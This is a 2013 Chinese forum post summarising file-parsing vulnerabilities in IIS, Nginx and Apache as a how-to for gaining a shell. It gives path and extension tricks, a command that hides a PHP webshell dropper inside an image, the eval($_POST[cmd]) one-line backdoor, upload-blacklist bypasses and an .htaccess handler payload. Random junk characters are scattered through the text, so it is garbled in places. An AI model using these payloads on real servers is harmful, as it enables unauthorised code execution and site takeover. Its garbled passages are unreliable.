找回密码
 立即注册
查看: 3425|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain9 n# P4 \; n+ A0 M' M9 }" \
[+]IIS6.0
8 T; J9 l4 [# Z  Q* S 8 z2 h3 o  E6 M. e! f/ k5 X4 r
目录解析:/xx.asp/xx.jpg 2 h: \. p6 O" ~6 s4 @
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
5 a1 e6 \1 `$ o( P0 E* m IIS6.0 会将 xx.jpg 解析为 asp 文件。
8 ?& U5 u# b  g/ K# C7 W- g/ k( L后缀解析:/xx.asp;.jpg     & ~4 h9 L/ `" H) [
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。$ ?1 p+ g( A: J; ~, ?8 ~( h( {: x
默认解析:/xx.asa/ X. s1 \1 e( I7 d- h/ l) @! y
         /xx.cer0 ^  a5 K8 x) |- \& H
         /xx.cdx
9 i- m9 U) ?) A+ l- {$ y. |0 ~7 R IIS6.0 默认的可执行文件除了 asp 还包含这三种( P# C' r; C2 t7 ]: c4 a$ Y
此处可联系利用目录解析漏洞 ! Z5 S% p  N6 y4 [2 a' s
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg$ Z$ t/ h% a! T6 c) O) |
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03/ x' N! r' ^8 H' V- i7 {5 ?( x$ }
# l  C) L6 c, m( ~1 g
IIS 7.0/IIS 7.5/Nginx <0.8.03# F# c- _# }5 _, [4 y$ @$ \
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
/ [* I3 Q0 H) m( \ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
. K& ~3 T3 N( s7 }: L4 }) b2 R) M 常用利用方法:
2 k7 ^/ Q; I! p: z5 ? 将一张图和一个写入后门代码的文本文件合并将恶意文本
( K  a( n# Y) E6 c 写入图片的二进制代码之后,避免破坏图片文件头和尾! H5 ~6 e5 a6 |
如:# o( p, t% u0 ]
copy xx.jpg /b + yy.txt/a xy.jpg4 j! J9 [7 W$ k9 ~
#########################################################
+ g) R) |* V- D0 X /b 即二进制[binary]模式
4 @) [1 r  d! P% Z& E% ~ /a 即ascii模式
0 D3 z  I0 {: G7 ~ xx.jpg 正常图片文件5 h  b, F1 m# @% G
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),$ e* {% I. m$ `' L) B+ o
'<?php eval($_POST[cmd])?>');?>9 d4 m1 a/ }+ r# D7 z7 S( S( \: Q( B
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称  S& _, T" F" @
为shell.php的文件0 `* j% H# d1 W* u0 ^' s# |
###########################################################
2 T0 b# v7 ?) x) ]0 h( e 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
  f2 p7 d  f9 \! O3 N/ b 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
' o7 m+ \5 u& Q: B 密码 cmd
' C  o: E% v8 w[+]Nginx <0.8.038 z, y5 k) h" ~
( s  w6 h0 c4 W, ?
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞( M# B+ E" ?, I$ `
在一个文件路径(/xx.jpg)后面加上%00.php
2 F0 P% j7 j0 P+ U 会将 /xx.jpg%00.php 解析为 php 文件。6 W: L# _+ M, J0 B' [7 c
[+]Apache<0.8.03
+ ], G9 {# a" X4 _8 o
! Q( |' z! `# \% Q* ?" N, { 后缀解析:test.php.x1.x2.x3- t! q2 d+ H. {6 f! P% S' y1 a( w
Apache将从右至左开始判断后缀,若x3非可识别后缀," x8 }$ t: y1 ]5 U7 K8 x+ {' d! }/ V
再判断x2,直到找到可识别后缀为止,然后将该可识别
5 O- {) q+ T3 f' G8 b- \  C 后缀进解析test.php.x1.x2.x3 则会被解析为php
* H/ S. [% W) Z2 e+ U, O 经验之谈:php|php3|phtml 多可被Apache解析。
" X3 w" [# N* l8 R( L) h[+]其他一些可利用的
$ v" k1 V" E, b
" p/ P3 f1 M: v在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的# M% p8 K  H4 Y4 J5 M8 `, A8 Z
若这样命名,windows会默认除去空格或点,这也是可以被利用的!4 u3 O2 `/ m5 J, }# N
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格+ k& }& o- }9 |$ _5 l" X5 x
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
4 o# g6 e) R# C' X2 O  }* F得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。4 Q7 x6 }' j- W7 f" ?4 V2 R
{Linux主机中不行,Linux允许这类文件存在}
9 h. z5 i& a0 ^6 s如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
- i: ]3 c' e6 J: o! E2 D5 H" k的,当初我并不知道),且可以被上传,那可以尝试在- S/ U+ |/ f: P2 i* z- u( f% {1 Q3 s
.htaccess中写入:
2 [0 w+ q' R( n3 B<FilesMatch “shell.jpg”> + L1 E! x2 {; f$ B
SetHandler application/x-httpd-php
% @/ @8 p) n) r; d</FilesMatch>/ ~  a7 d4 r( c& F
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
1 B8 r1 t: D4 t) m[+]错误修改
) F9 D+ \! j& }; b, d" |* {
5 W2 H& I9 f) Y$ k) j. F在 IIS 6.0 下可解析 /xx.asp:.jpg
) o! V" F! b# B, I. q, W{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
6 ]) V# u* \" P% r% N) E* q) r剩下/xx.asp}修改:. G1 x7 ]6 u% G' [. D6 v. t2 K
先谢谢核攻击的提醒7 \$ J; m7 r" B+ y) H3 U5 E- i; v
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
& f# e7 F3 U* m; \! ]; t里是没有任何内容的,因为。。不好解释 大家自己看# n0 y' I1 W# }7 ^5 A5 f+ v1 G
http://lcx.cc/?i=2448
4 k6 r- t. |7 j) _http://baike.baidu.com/view/3619593.htm
7 [3 J# ?& q+ G  c( U9 c6 ~' t. m" p4 L0 G: @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表